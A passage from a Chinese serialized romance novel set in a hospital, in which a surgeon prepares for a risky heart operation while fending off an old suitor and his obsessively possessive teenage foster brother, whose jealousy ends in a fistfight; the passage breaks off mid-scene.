崔玉知嗯了声,把手里的手术方案用最通俗的话详细讲述了一遍。 听完,谢升华安静了好久,这才哑着声音开口,“手术的成功率有多少?” 崔玉知说得笼统,“这个我不能保证,每台手术都会出现不可预估的风险,我只能说,尽我所能。” 房间安静。 几秒后,谢升华点头,“行吧,就按崔主任说的吧。” 崔玉知把手里的报告交给许酌,“那我先给谢董做个基础检查吧。” 许酌看着安静的谢旌,喊他,“谢总。” 谢旌抬眼。 许酌说,“麻烦你跟我出来下。” 谢旌起身,跟许酌一起出了病房。 关上门,许酌递出一张手术风险知情书,“谢总,这个你看一下,谢董的手术非常困难,风险也极高,术中以及术后都会出现不可预料的突发情况,希望你提前有个心理准备。” 他说得非常认真,没有因为谢旌也是个八年医学毕业的博士生而含糊他。 但谢旌本人却没多少认真。 他出来后就懒散而随意地靠在墙上,双臂抱胸。 许酌往他面前递了一张知情书,他也只是懒懒接过。 却没看。 只是一味地盯着许酌的眼睛,漫不经心说,“许酌,你好像很喜欢喊我‘谢总’啊。” 见他改了称呼,许酌也跟着改口,“谢旌,你父亲马上要做一个很危险的手术,你能不能认真一点。” 谢旌挑眉,“怎么?你担心我啊?” 好熟悉的话。 许酌想了几秒,才想起早上丞弋也跟他说过这样的话。 他顿觉惊奇,两个完全不一样的人居然也有脑回路重叠的时候。 但他只惊奇了很短暂的一秒。 一秒后,他继续开口,“谢旌,你自己也学了八年医,你应该已经很清楚了,谢董这台手术的成功率并不高。” 谢旌点头,“嗯,我知道啊。” 他语气不羁,“所以我已经做好了继承遗产的准备。” 许酌第一次生出跟病人家属沟通不了的无力感。 他轻叹,“好吧,那我就不多说了,你先忙吧,我去准备手术了。” “许酌。”见他要走,谢旌喊住他。 许酌顿脚,回头看他,“还有事?” 谢旌挑眉朝他笑,“你忙好记得给我发个微信,我微信没换,还是之前天天给你发表白消息那个。” 许酌早在上学的时候就领教过谢旌招摇过市的说话风格了,闻言并没有尴尬之类的感觉。 只是温声讲述事实,“我今天要很晚才下手术。” 谢旌死皮赖脸笑,“没事,我会一直饿着肚子等你的。” 许酌:。 最后许酌还是没能逃掉和谢旌一起吃饭。 因为这人一直等在他的办公室门口。 好在许酌用谢董身边不能离人太久为由,这才打消了谢旌要带他去高档餐厅吃饭的想法。 最后只在医院楼下海鲜面馆吃了碗面。 一碗热乎乎的海鲜面灌进胃里,许酌持续运转了一整天的身体这才有了回血的感觉. 谢旌却有些不满,“许酌你知道么,这是我长这么大请过最便宜的客了。” 两碗面加两杯饮料才一百二十八块钱。 他刚才都不好意思去买单。 许酌倒是很坦然,“不好么,帮你省钱了。” 谢旌垂眼,玩味轻笑,“帮我省钱?” 许酌眨眼,“不是么?” 谢旌愉快弯唇,拖着音调说,“可据我所知,只有男朋友这种身份才会想着替我省钱吧?” 他坏坏挑眉,“所以许医生是想准备回头吃我这颗草了么?” 许酌温声反驳,“我没有吃回头草的习惯。” 又纠正他,“而且,我的回头草是丞敛,不是谢总 。” 谢旌啧了声,“你就非得在我们刚重逢的美好时刻提那个晦气东西是吧。” 许酌觉得冤枉,“不是你提的么。” 谢旌拽拽的,“我提的是我自己,关那晦气玩意什么事!” 他说话时,许酌的手机响了一下 。 他拿出来看,是丞弋给他发过来的微信。 [许酌哥你回来了么?] “谁啊,这么晚还给你发微信。”谢旌瞥到许酌的手机屏幕是微信聊天页面,语气酸酸。 许酌收了手机,“我弟。” 谢旌茫然了一秒,之后又佩服说,“哇哦,喻主任不愧是妇产科大拿。” 见他误会了,许酌也没解释,“好了,你快回去陪谢董吧,我要下班回家了。” 谢旌说,“我送你,我的车子就停在外面。” 许酌说,“不用了,我也开了车子过来。” 谢旌还想坚持,但转念想到许酌是个什么样的人,就咽下了到了嘴边的话,转而说,“那我送你到你车子那里吧。” 许酌很清楚谢旌是个多固执的人,没再多费口舌来拒绝,随便他了。 许酌的车子停在负二层的电梯口,很好找也很快找到。 拿出钥匙解锁,许酌也开始跟谢旌挥手,“好了,你快回去吧,晚上记得密切观察谢董的状态,一旦有任何不舒服就按护士铃,不要怕麻烦。” 谢旌懒声懒调问,“可以直接给你打电话么?” 许酌说,“可以,但希望你没机会打。” 给他打电话就意味着情况危急,需要立即做手术。 谢旌自然懂许酌这句话的含义,心底暖暖的,“那你路上慢点开,明天见。” 把车子开出医院,许酌在等红绿灯的间隙给丞弋回了微信,[路上了。] 丞弋秒回: [好,许酌哥路上注意安全] 到家刚好十一点。 打开门,客厅里亮着暖色光。 窝在茶几里写作业的丞弋在他望进去时,起身过来迎他,“许酌哥你回来啦,今天累不累?” 少年笑意充沛,帅气又明朗。 快步走过来,像迎接主人的大狗。 许酌把饭袋放在玄关上,换鞋,“还好。” 他有来有往地问丞弋,“你作业还没写完啊?” 丞弋蹲下身把许酌换下来的鞋放在鞋柜下面,起身时又顺手拿过许酌放下的饭袋,“写完了,我自己刷题呢。” 丞弋真的很热衷做一些细心的小事。 许酌看在眼里,却什么也没说。 因为他很清楚,他说了丞弋也不会改。 所以只说,“那你刷题吧,我先去洗澡了。” 说着,许酌就要转身往浴室走。 然而刚走一步,就被丞弋拉住了手腕,“等一下。” 许酌被迫顿在原地,侧眸看着丞弋,“怎么了?” 丞弋盯着许酌安静看了几秒,然后笑出来,“没怎么,一天没见许酌哥了,想多看看许酌哥。” 许酌深吸一口气,正色说,“小弋,这样的话以后不可以乱说了。” 丞弋乖笑,“好,我都听许酌哥的。” 他打开浴室门,“许酌哥快去洗漱吧,我去给你做个夜宵吃。” 许酌连忙喊住他,“不用了,我在医院吃过了。” 丞弋嘴角的笑意顿了顿,随即又恢复自然,“好吧,那我继续写题了。” 许酌嗯了声,转身进了浴室。 浴室门关上,玄关只剩丞弋一个人。 灯光下,丞弋那双上一秒还盈满笑意的眼睛,此刻已经浸满幽沉的郁气。 他垂眼,又缓缓抬起手。 将那只刚攥过许酌手腕的手放在鼻尖前轻轻嗅了嗅。 指尖有香味。 但不是许酌哥的身上的香味。 许酌哥身上一直都是淡香中带着点酒精的味道。 然而现在。 他身上分明带着一股陌生的浓香味。 那味道难闻又刺鼻。 跟丞敛那个傻逼用过的某款香水味道很相似。 都是很骚包的味道。 不用想,肯定是个狗男人。 又或者就是丞敛那个傻逼。 一想到许酌哥在他不知道的情况下跟丞敛见了面,甚至是吃了饭,丞弋眼眸深处那阵被长久压抑的疯狂就几乎要扭曲着燃烧起来。 他转身,目光落在玄关柜上。 上面正安静躺着一个手机。 是许酌刚才换鞋的时候顺手放下的。 丞弋走过去,拿起来,熟练解开密码,点进微信。 第25章 第 25 章 密密麻麻写满了红色的字…… 25 冷漠忽视那些不重要的群聊。 丞弋的目光停在一个不算陌生的名字上。 谢旌。 一个没追上许酌哥的失败者。 他点进对话框。 对话框的聊天内容是从今天开始的。 下午16:05 谢旌:[冒个泡, 省的某些人找不到我的微信] 谢旌:[怎么不回我?你不会设置了拒绝接受我的消息吧?] 谢旌:[真的么?] 谢旌:[真的么真的么?] 谢旌:[许医生,我现在心脏严重不舒服] 下午16:08 许酌:[在忙,别吵。] 谢旌:[好的呢!] 谢旌:[愉快.jpg] 晚上18:32 谢旌:[好饿, 许医生还没好么?] 19:16 谢旌:[要饿晕了,许医生还没好么?] 20:21 谢旌:[离饿死还有一厘米, 许医生你即将要失去本帅哥了。] 谢旌:[虚弱.jpg] 21:45 谢旌:[彻底饿死,许医生你已经失去一个帅气迷人又多财多艺的迷恋者了。] 22:37 谢旌:[今天见到你很高兴, 希望你也是。可爱.jpg] 聊天到这里结束。 丞弋握着手机的手逐渐收紧,脸色也越发阴沉。 一个失败者不安安静静地去死,居然还来骚扰他的许酌哥。 心里的怨气浓重翻滚, 丞弋找到删除联系人的页面。 却在即将点下去之前, 又克制着顿住了。 内心烦躁又痛苦地挣扎了很久,他还是没有直接点下去。 而是退到原来的界面,然后放下手机。 许酌洗好澡出来时,就见丞弋还坐在客厅里刷题。 他把洗好的内裤挂在阳台上。 回来时。 他边往餐边柜走边看着丞弋说,“窝在那里写难不难受啊你。” 丞弋头也没抬,“还好,不难受。” 许酌顿住脚,多看了丞弋两秒。 不知道是不是他听错了, 他觉得丞弋的情绪好像不太对。 这时,丞弋抬起头, 眉头轻轻蹙着, “许酌哥,你能来帮帮我么?” 见他神色间的苦恼不似作假, 许酌担心走过来,“怎么了?” 丞弋点点手里的题册,“我这道题解了好久都解不出正确答案, 许酌哥可以帮我看看么?” 有赖于父母都是高材生,所以许酌的理科天赋自小就比别人高。 听丞弋犯难,许酌走进沙发,坐到丞弋旁边,“哪道题?” 丞弋把题册往许酌面前推了推,指着最后一道大题,“这道。” 许酌顺他所指扫了眼题干,“这是14年的高考压轴题。” 他看着丞弋手边的草稿纸,“你的解题思路呢,给我看看。” 丞弋把草稿纸递给许酌。 许酌接过来仔细看了眼,然后拿过丞弋的笔,“笨蛋,你从这一步就错了,这里应该是” 是什么丞弋一个字也没听进去。 许酌哥骂他笨蛋,声音软得像团水,包裹着他心里不断燃烧的火,让那团火没办法燃烧更烈。 丞弋只好垂着眼,沉黑的目光在睫毛的掩映下隐秘又灼热地盯在许酌身上。 平时的许酌哥是温柔更多。 但洗过澡的许酌哥就柔软更多。 他低着头写解题思路,后颈的一截颈骨在被热气蒸得泛粉的皮肤下撑起小片柔软的弧度。 耳朵更是可爱,本就粉润不说,此时被灯光照得似透明,仿佛剔透的暖玉。 丞弋想摸。 丞弋抬手。 然而他指腹刚捻上那软得不像话的耳垂,许酌就条件反射似的偏头躲开了。 他抬眸去看丞弋。 丞弋在他开口之前乖顺道歉,“对不起啊许酌哥,我看你耳朵实在太可爱了,所以没忍住摸了摸。” 虽然他神色和语气都很认真,但许酌还是觉得他没多少歉意。 只是为了堵自己的话而已。 许酌安静两秒,最后还是没有事情扩大化,只是问他,“你还要不要学了?” 丞弋点头,“学的,许酌哥你继续讲吧,这次我一定好好听。” 许酌就继续给他讲。 丞弋就继续垂眼凝着许酌。 但这次他没再看许酌的耳朵,而是将目光落在了许酌不断开合的唇瓣上。 经过热水熏蒸的唇色比平时更加红润,饱满的唇梢随着说话的动作细细轻颤着。 开合的唇瓣间没有湿润的水红色透出来,却还是无端透着诱人的气息。 为了显示自己在认真听讲,丞弋特意靠得近了些。 这样一来,他不仅能清晰闻到许酌身上刚洗过澡的湿热香味。 还能闻到他唇瓣间透出来的甜香。 丞弋被勾引着。 被压抑在心口那团火也被勾引着。 可他却很意外地平静了下来。 没有想要触碰许酌,更没有想直接把他扑倒。 他只是很平静地看着许酌。 平静的有些诡异。 “许酌哥,这一步我没太明白。”他甚至还有模有样地提出自己的不懂之处。 许酌也更加耐心地又给他慢慢讲解了一遍。 许酌没有教学的经验,等他自认为把题讲透之后,他问丞弋,“有没有明白一点?” 丞弋点头,“好像明白了。” 许酌把笔给他,“那你再解一遍,我看看。” “好。”丞弋解过笔就开始重新解了起来。 一步步写了大半页的解题过程及结果,他推给许酌看,“许酌哥看一下是不是这样?” 许酌接过看了一眼,笑,“是这样的。” 他没吝啬自己的夸奖,“小弋真厉害。” 丞弋看着他的眼睛,“那许酌哥奖励一下厉害的小弋好不好?” 许酌温笑说,“好啊,回头哥奖励你一个iPad吧,这样下次你再有不懂的题就可以在iPad上找解题视频了。” 丞弋却拒绝,“我不要。” 他直接拉过许酌的手,放在自己头上,“许酌哥摸摸我就好。” 他语气里带着些控诉,“许酌哥好久都没摸我了。” 确实。 自从知道丞弋对他的喜欢过于偏执之后,许酌确实有在故意疏远丞弋,也减少了不必要的肢体接触。 为的就是避免继续滋生少年心里那片不合时宜的喜欢。 但现在许酌看着丞弋那双仿佛带着受伤的目光,感受着掌心下干燥蓬松的触感,他忽然有些不舍。 不舍得拒绝他。 许酌觉得这样的心思有些危险。 但最终,他还是动了动手腕,轻轻揉了揉丞弋的头发。 “我们小弋果然还是个没长大的小孩子。”他语气轻松,端的还是哥哥的架子。 丞弋没有反驳,只是扯着嘴角笑了笑,“嗯,我是许酌哥的孩子。” 所以许酌哥天生就该属于他一个人。 许酌没察觉出丞弋这句话的怪异之处,只是收回手笑说,“那这位小孩子还有没有不懂的题要问?” 丞弋摇摇头,“暂时没有了。” 许酌点点头,“行,那你自己写吧,我先去书房了,等下你有不懂的再来喊我。” 丞弋笑着点头,“好。” 许酌从地毯上起来,“你还是回房间写吧,这里不舒服。” 他只盘腿坐了一会就觉得有点腿麻,丞弋个高腿长,只会更不舒服。 丞弋听话应声,“好,我把最后一道题写完就回房间。” 许酌没说话了,去餐边柜倒了杯水就去书房了。 他还没参与过Bentall这么顶尖的手术,他准备晚上多看些关于Bentall手术的报道和文献。 崔老师信任他让他担任这台手术的二助,他自然也要多做些功课。 而且这台手术的难度系数真的很高,他要提前了解下术中会出现的意外。 以及应对意外的紧急措施。 然而他刚进到书房关上门,就忽地想起什么。 他侧头,看着关上的门板。 小弋真的不会解那道题么? 下午他发过来的那道化学题分明比刚才那道数学题要更有难度,但他还是解得非常漂亮。 许酌摸了摸耳朵。 所以这小混蛋是故意的。 他上当了。 无奈轻叹一声,许酌还是选择不跟丞弋计较,摇摇头就往电脑桌的位置走了。 门外客厅里。 听到锁芯咔哒一声扣上时,丞弋这才缓缓拿开铺在桌面上的数学题册,从而露出下面那张写满字的A4纸。 如果许酌刚才不小心拿开将练习册拿开,就一定会发现表面乖顺的丞弋在心里隐藏着怎样的扭曲。 当然也能发现,丞弋刚才忍不住摸他耳朵的动作和这张纸相比简直就是和风细雨。 因为眼前那张白色的A4纸上,密密麻麻写满了红色的字迹。 客厅灯光温暖。 那张白纸红字却无端透着股阴森的寒气。 去死去死去死去死去去死 余凯睿去死周黎安去死谢旌去死 全都去死 去死去死去死去死去死去死 许酌哥是我的许酌哥是我的许酌哥是我的许酌哥是我一个人的!你们这群该死的!!! 丞弋平静拿起那张纸,一点点撕开。 带有许酌名字的纸片被他好好夹在书本里。 剩下的,他全都撕成碎片,然后起身去了卫生间。 把碎片的纸张丢进马桶,摁下冲水键。 眼看着带有冲击力的流水卷走那一片片写有红色字迹的碎片,丞弋忽然弯唇笑了起来。 似是觉得他撕碎的根本不是一张薄薄的纸片。 而是那些对他的许酌哥心怀不轨的人。 第26章 第 26 章 谢总跟你弟打起来了!…… 26 次日。 许酌正常上班。 出电梯时, 几个认识他的护士纷纷跟他打招呼。 许酌像往常一样礼貌回应。 一一回应完,他才后知后觉有几个护士小姑娘看他的眼神格外不对劲。 许酌纳闷,路过护士站时, 他过去跟护士站打招呼,“陈姐好。” 护士长正在护士站跟几个小姑娘交代着什么, 听见他的声音,她抬眼看过来, 打趣说,“哎呦,我们的万人迷来了。” 许酌顺势问她, “怎么了陈姐, 我是又错过什么了么?” 护士长神秘一笑,“你去办公室看看不就知道了。” 带着一头雾水,许酌往办公室走了。 刚走过拐角,他就顿住了。 办公室门口站着两个人。 其中谢旌懒洋洋靠在墙上,两手插兜,左胳膊的侧弯里夹着一捧花枝很长且没有任何包装的玫瑰花。 这捧玫瑰花要是被其他人拿着,可能就很像刚从鲜花市场进货回来的。 然而放在谢旌身上,就很像刚从时装周的T台上走下来似的。 慵懒又贵气。 他面前站着穿着白大褂的周黎安。 两人隔着空气对视。 一个面无表情, 一个嚣张恣意。 虽然两人谁都没有说话。 但空气里的剑拔弩张还是无声蔓延了出来。 许酌不太想过去。 恰好这时,岑嘉祯从办公室出来。 他垮着一张脸, 门口两个人谁也没看。 只在绕过周黎安抬眼看到许酌, 他才扬唇笑起来,“许老师!” 声音落下, 周黎安和谢旌一起朝他看过来。 许酌叹息,而后还是硬着头皮迎着三道目光走了过去。 谢旌离开墙壁,迈着他的大长腿超许酌走过去, “许医生早啊。” 他说话的同时,把手里的玫瑰花递出去。 许酌抬手挡住,“不好意思,医院有规定不能收病人及家属的东西。” 谢旌弯唇笑,“我没说要给你啊许医生,我只是让你帮我保管一下。” 许酌看着岑嘉祯,“小岑,带谢总去物品存储柜。” 说完,他错身一步继续往前办公室走。 见许酌没收谢旌的玫瑰花,周黎安窃喜起来,“师弟早啊,吃过早餐了么?” 许酌提了提手里的饭袋,“还没吃,等下换好衣服再吃。” 周黎安脸上的笑意顿住。 许酌不是个喜欢下厨的人。 很显然,许酌今天的早餐也是丞弋给他准备好的。 周黎安心里冷哼,好一个近水楼台。 谢旌返身回来,“周师兄怎么不问问我有没有吃早餐啊。” 周黎安微微一笑,“师弟怎么不把玫瑰花送给我啊?” 谢旌大方往前一推,“师兄想要的话送你啊。” 周黎安:。 谢旌笑起来,“你看,真送你你又不要。” 周黎安彻底收起笑意,“医生办公室,闲杂人不可以进去。” 谢旌挑眉,“那还真是不好意思了,我不是闲杂人呢,我是要找许医生问我爸的病情的。” 周黎安挡住他,“你可以问我。” 谢旌看着他,“问你?怎么?周师兄是背叛赵副主任改投崔主任门下了?” 周黎安冷下脸色,“谢旌,你别太过分。” 谢旌还是保持微笑,“周黎安,你好多管闲事啊,我怎么样跟你有什么关系?” 他嗤笑,“不会吧?你不会以为我不追许酌,许酌就会看上你吧?” 周黎安还待说什么,许酌就去而复返,“麻烦两位到别处吵好么,办公室还有学生在写病历。” 就是。 两个好不容易抢到电脑的规培生根本不在意今天又有谁来追许医生了,反正他们已经见怪不怪了。 他们只想安安静静把病历写好,不想等下又被带教老师骂。 谢旌并不知道那些规培生心里的怨气,闻言只是毫无底线地开始告状,“我没吵,都是他,他先挡我路的。” 许酌敲着门板,“麻烦谢总看一下这里。” 谢旌顺着他的动作看到门板上贴着的字条—— 医生办公室 非请勿入 谢旌后退一步,“好吧,我听许医生的。” 他抬了抬手里的花,“那我把花放门口了,许医生不要的话就让保洁阿姨拿去丢掉吧,虽然那样我会很伤心,但没关系,许医生开心就好。” 许酌拒绝他的套路,温声但又坚定,“麻烦谢总自己丢,医院里的保洁阿姨打扫卫生之余还要给病人指路,没有时间过来帮你丢东西。” 谢旌眼里终于有了丝不太高兴的情绪,“许酌,你非要这么狠心么?” 许酌深吸一口气,说,“谢总,我现在是工作时间,你可以不要把你的私人感情放在我的工作场合么?” 谢旌露出受伤的神色,“好嘛好嘛,我自己拿走就是了。” 许酌终于松了一口气。 谢旌故意垮着语气,“这是你自己不要的,你再要我可不送咯。” 说完,抱起大捧玫瑰花就走。 但背影气呼呼的。 许酌没看他,转身跟办公室的同事说,“不好意思啊各位,给你们造成困扰了,等下请你们喝咖啡。” 一个中年男医生吹着手里的保温杯悠悠说,“不困扰不困扰,我们就喜欢看有钱人追许医生但又追不到的样子。” 许酌无奈,“梁老师你又开我玩笑。” 被喊作梁老师的医生拧上保温杯的盖子,“好了,热闹看完了,我该去查房了。” 出门前,他提醒许酌,“我要喝去冰美式啊,可别给我点错了。” 许酌应,“好,不会点错的。” 等梁医生走了之后,许酌这才将目光看向周黎安,“师兄呢?还是加冰美式?” 周黎安说,“我不喝。” 他往前走,但走了两步又拐回来,“许酌,你就由他这样烦着你?” 许酌和他对视两秒,忽然笑起来,“师兄,你觉得我的拒绝会有人听么?” 周黎安张了张嘴,最后还是闭上。 别人不提,许酌光是拒绝他都拒绝了多少次,他不还是照样死乞白赖地追着。 空气安静了好一会,周黎安终于吐出一句,“加冰美式,谢谢。” 许酌又去看缩在门口的岑嘉祯,“你呢?喝什么?” 岑嘉祯受宠若惊,“我也有么?” 许酌嗯,“人人有份,怎么能少了你的。” 岑嘉祯害羞一笑,“那我喝无糖拿铁。” 许酌有些惊讶,“无糖?你确定?” 他记得岑嘉祯喜欢喝全糖来着。 确实。 岑嘉祯还处在不知道控糖的年纪,喝起奶茶咖啡这些都是首点全糖。 不甜的东西他是一口都不吃的。 但昨天他喝了那杯本该送给许酌的无糖拿铁之后。 忽然就觉得他之前喝得那些东西有多腻人了。 重点是,根本没有无糖拿铁好喝。 一想到又要和许老师喝同款咖啡了,岑嘉祯脸上的笑意就更加腼腆了,“是的许老师,我确定。” 许酌给办公室的人点了咖啡,给护士站的姑娘们点了奶茶。 都点好,他开始换衣服吃早餐。 早餐结束之后就该查房了。 今天要和崔老师一起查房,查完房刚好一起去贵宾区的病房看谢升华。 大概医院真的是个消耗人生气的地方。 谢升华昨天在会议室还精神矍铄,这才一晚过去,人就肉眼可见地憔悴了不少。 “谢董今天感觉怎么样?”崔玉华进门问谢升华。 许酌跟在她后面,进门就看见谢旌在他进去时特意等着他看过去。 等他看过去,这人又赌气似的移开目光不和他对视。 许酌知道他在传达他在生气的情绪,没做理会,平静移开目光。 谢升华虽然有些憔悴,但心脏的还算稳定,安心等手术就可以了。 谢升华问,“手术时间定下来了么?” 崔玉知告诉他,“定了,明天早上第一台,所以谢董今天五点之后就不能再进食了。” 谢升华沉脸嗯了一声。 崔玉知又说,“谢董别担心,我们整个手术团队都会尽力保证手术顺利。” 谢升华没说话了。 崔玉知,“那谢董好好休息吧,我们不打扰了。” 走出病房,崔玉知问许酌,“陈主任来过么?” 陈主任是麻醉科主任。 麻醉科要在手术前给病人做麻醉评估。 许酌点头,“来过了,一大早就过来让护士调整了用药,今天按要求禁饮禁食,明天可以正常麻醉。” 崔玉知还要问什么,身后忽然传来声音,“那个!” 崔玉知循声回头,看见拽着脸色的大少爷。 再看看许酌,她说,“那我先去准备手术了,你等下再过来。” 许酌轻叹着点头,“嗯。” 崔玉知走后,谢旌双手插兜,拽模拽样地走过来,“你干嘛不理我?” 许酌简直好笑,“这位少爷,我是医生,我现在在上班。” 谢旌哼,“医生上班不能和病人家属沟通了?” 许酌就事论事,“能啊。” 他看着谢旌,嗓音温和,“那这位病人家属,你有什么和病人相关的问题要问我么?” 谢旌安静盯着他,半晌咕哝出一声,“对不起。” 他咕哝的语速过快,许酌没有听清,“什么?” 谢旌深吸一口气,咬字清晰说,“对不起。” 他态度好了一些,“我不该打扰你工作的。” 许酌说,“谢总真觉得抱歉的话,之后不要做这种事就好了。” 谢旌嗯了声,“知道了。” 许酌放下心,说,“那我去忙了。” “等下。”谢旌喊住他。 许酌看他。 谢旌和他对视,眉眼间没了那种我行我素的随性不羁,而是格外认真,“昨天忘了问你,你现在有男朋友或是有喜欢的人么?” 许酌如实说,“没有。” 又补一句,“但我最近没有谈恋爱的打算,毕竟我刚离婚。” 他把‘离婚’两个字咬得很重,就是希望谢旌能明白,他已经结过婚并离过婚了,不再是大学时期那个明媚少年了。 谢旌听出来,而后笑起来,“许酌,以后你千万不要再跟别人强调你离过婚这件事了。” 许酌没明白,“怎么了?有什么问题么?” 谢旌朝他走近一步,俯身,意味深长说,“因为到了一定年纪的人,会觉得离过婚的人更有魅力,就比如你。” 许酌:。 许酌后退一步和他拉开距离,“谢总没别的事我就先走了,等下还有手术。” 谢旌懒洋洋抬手,“嗯,那拜拜。” 等许酌快走到转角时,他忽然提高声音说,“许医生,我等你吃午饭啊。” 今天这台手术结束的比较早,换好衣服刚好十二点。 把换下来的手术服送到还衣点后,许酌就准备去食堂吃午饭。 拿出手机却看到丞弋给他发过来的微信。 [许酌哥,我在你办公室门口] 许酌蹙眉,这孩子怎么这个时间过来了? 许酌回了办公室,刚走过转角果然就在办公室门口看到了身穿蓝白校服的丞弋。 他快步走过去,“你怎么现在过来了?” 丞弋递了递手里的袋子,“我来这边买题册,顺便过来给许酌哥送饭。” 许酌不太相信这个顺便。 可丞弋另一只手里确实拎着印着书店名字的袋子。 于是他沉默两秒,也只是说,“下次不是很着急的话,我下班给你买回去就是了,你跑一趟的时间还不如在学校补个午觉。” 丞弋笑,“可许酌哥每天上班也很辛苦啊,我不舍得让许酌哥跑。” 许酌自动忽略这句话,问他,“你吃过没?” 丞弋摇头,“还没。” 许酌接过他手里的袋子,“这是几人份的?” 丞弋说,“两人份的。” 许酌就笑,“顺便给我送饭?” 丞弋浑然没有被拆穿的尴尬,反而更加大胆说,“想顺便跟许酌哥一起吃饭。” 许酌抿唇,“小弋同学,你是一点也不听话了,我之前怎么跟你说的?” 说除了周六日之外,其它时间不可以来给他送饭。 但谢旌在这家医院。 所以丞弋不可能放任谢旌在他看不见的地方继续纠缠他的许酌哥。 要不是怕许酌哥生气,他今天根本不会去学校。 丞弋眼巴巴的,“可我都走到附近了,就很想来见见许酌哥。” 是真的想,每分每秒都在想。 终于等到放学,他一刻也没耽误就直奔医院来了。 结果一来就在护士站听到谢旌早上给许酌送玫瑰花的事。 那一瞬间,想让谢旌去死的想法直接达到了顶峰。 是一遍遍在心里念着许酌的名字才勉强压制下来的。 许酌不知道丞弋在想什么,见他又卖乖,无奈轻叹,“最后一次了,下次再在上学期间跑来医院,我真的会生气的。” 丞弋乖顺点头,“嗯,好。” 许酌对他的保证持怀疑态度,但到底还是没多说什么了。 只松口说,“进来吧。” 丞弋低头弯唇,跟着许酌进了办公室。 正是吃午饭的时间,没在手术台上的同事基本都去食堂了。 许酌拉了个凳子给丞弋,“坐。” 许酌去拿一次性杯子给他倒水。 丞弋就坐下先把饭菜拆了出来。 许酌倒了杯水放在他面前,“快吃,吃完我送你回学校。” 丞弋把拆开的筷子递给许酌,“虽然我很想跟许酌哥多待一会,但许酌哥开车真的不如我坐地铁快,所以不用啦。” 许酌也没坚持,接过筷子问,“你们最近是不是快模拟考了?” 丞弋嗯,“周四周五考。” 许酌点点头,问他,“紧张么?” 丞弋只在和许酌有关的事情上感到过紧张。 其它事情根本调动不起他的情绪。 但丞弋还是盯着许酌说,“许酌哥想听真话么?” 许酌迎着他灼热的目光,直觉丞弋的真话并不是自己喜欢听的。 所以只好说,“我猜你应该不紧张,毕竟你已经很厉害了。” 丞弋被夸得心痒痒,唇角漾起笑意,“哪有很厉害,还是紧张的,毕竟是第一次模拟高考。” 他眼里带着浓烈的期待,“但如果许酌哥在我考试那天抱抱我的话,我可能就不紧张了。” 到底还是没躲过。 许酌简直拿他没有办法,夹了一筷子牛肉放在他碗里,“快吃饭吧你,一天到晚净说胡话。” 丞弋眼里笑意更浓。 有人来敲门。 许酌抬眼,看到倚靠在门边的谢旌,问他,“谢总怎么过来了?” 谢总。 谢旌。 丞弋头还没抬眼,眼底的笑意就先覆上一层寒意。 谢旌抱着胳膊,“许医生你也太不够意思了,我还在等你吃饭呢,你怎么先跟别人吃上了啊。” 他看着那身蓝白校服,“而且这谁啊?” 许酌下意识要介绍说‘这是我弟’。 还没开口,丞弋就先转过头,自我介绍说,“哥哥好,我是许酌哥的弟弟,我叫丞弋。” 这人脸上分明挂着笑意,可谢旌还是从他漆黑的眼里看到一片让人觉得不舒服的阴冷。 他蹙眉,“姓丞?” 而后一边悠悠走进来,一边上下打量着丞弋,“你的‘丞’不会是丞敛的丞吧?” 丞弋笑意不变,“这位哥哥也认识我哥啊?” 还真是丞敛那狗东西的弟。 谢旌冷笑一声,“你哥也配认识我?” 他开始不耐烦,“你不去找你哥来许酌这干什么?不知道他在上班啊?” 丞弋不说话了,转头跟许酌卖弄可怜,“许酌哥,这位哥哥好凶。” 谢旌嘿了声,“真新鲜,我还第一次见一个大男人茶里茶气的。” 许酌只觉得头疼,看着谢旌,“谢总,我今天没答应要跟你一起吃午饭吧。” 谢旌有理有据,“怎么没答应?你没直接拒绝我不就是答应么。” 许酌简直佩服他的思维逻辑,轻叹说,“好吧,那今天是我的不对。” 他提出补救,“这样吧,作为补偿,我给你点一份味道还不错的外卖怎么样?” “那怎么行?我从来不吃外卖的。” 谢旌用脚勾来一张椅子拖到许酌旁边,然后抱着胳膊坐下,“你先吃你的,等你吃完再陪我去吃不就好了。” 丞弋眼底更添阴鸷。 恨不得谢旌现在就去死。 突然,三人间忽然响起一阵清脆的手机铃声。 是许酌的手机。 他把手机从口袋里拿出来。 是岑嘉祯打过来的。 “小岑。”他接起来。 岑嘉祯在电话那边说,“许老师,12床患者的体温忽然升高,现在已经37.8了。” 12床是刚做完手术推到GICU的病人。 许酌立即起身,“知道了,我这就过来。” 挂了电话,许酌从口袋里拿出饭卡跟谢旌说,“我今天真没时间陪谢总吃饭,你不喜欢吃外卖的话就拿我的卡去食堂吃吧。” 又跟丞弋说,“你先吃,吃完我还没回来的话你赶紧回学校,别等我。” 说完不等两人回应就快步走出办公室。 错失一次和许酌共进午餐的机会,谢旌神色不悦地啧了一声,之后就起身准备跟着离开。 然而他刚站起来,就听面前人冷冷出声,“把椅子放回去。” 谢旌脚步一顿,垂眼看着丞弋,“你在跟我说话么?” 丞弋缓缓抬头,用一双深黑的眼睛去迎谢旌的视线。 然后,他笑,“我在跟死人说话。” 这句话配上他这个表情,让谢旌更加不舒服了。 有种被一种看不见的东西盯上的阴森感。 他咬牙,“小子,你别以为我看不出你安得什么心,我是看你年纪小不跟你一般见识,但你最好也别惹我,因为我这辈子最讨厌的就是姓丞的人。” 丞弋弯着唇角,“我知道,因为你是丞敛的手下败将嘛。” 一句话仿佛落在易燃易爆物品中的一点火星。 谢旌瞬间炸起来,狠狠攥住丞弋的衣领,用力把他从椅子上拽起来,“你他妈找死是不是!” 几乎是从牙缝里挤出来的一句话。 丞弋愉快欣赏着他的暴怒,“哥哥这就生气了啊,怪不得追不到许酌哥呢。” 谢旌压着声音,“你有种再说一遍。” 丞弋看着他,一字一顿,“我说,你,永远,都追不上许酌哥,因为,你很像个傻子。” 许酌到GICU给突然发烧的12床患者做了遍基础检查。 都没问题后,他收起瞳孔电筒,跟岑嘉祯说,“是换瓣应激。” 岑嘉祯立马在小本子上记下。 许酌又跟一旁的管床护士说,“先给患者物理降温,一个小时内温度不降反增的话抽血送检。” 护士应好。 许酌还准备跟岑嘉祯说点什么,就瞥见一个护士快步跑到他身边,压着声音说,“许医生!你快回办公室吧!谢总跟你弟打起来了!” 第27章 第 27 章 “我讨厌你身…… 27 许酌匆匆赶回办公室, 在走廊上看到扭打在一起的两个人。 他拧起眉,还没开口说话,谢旌忽然对着丞弋脸颊上砸下一拳。 丞弋没承住谢旌的力道, 歪身摔在地上。 见状,谢旌并没有准备作罢, 而是继续俯身去抓丞弋的衣领。 见谢旌还准备动手,许酌忙走过去, 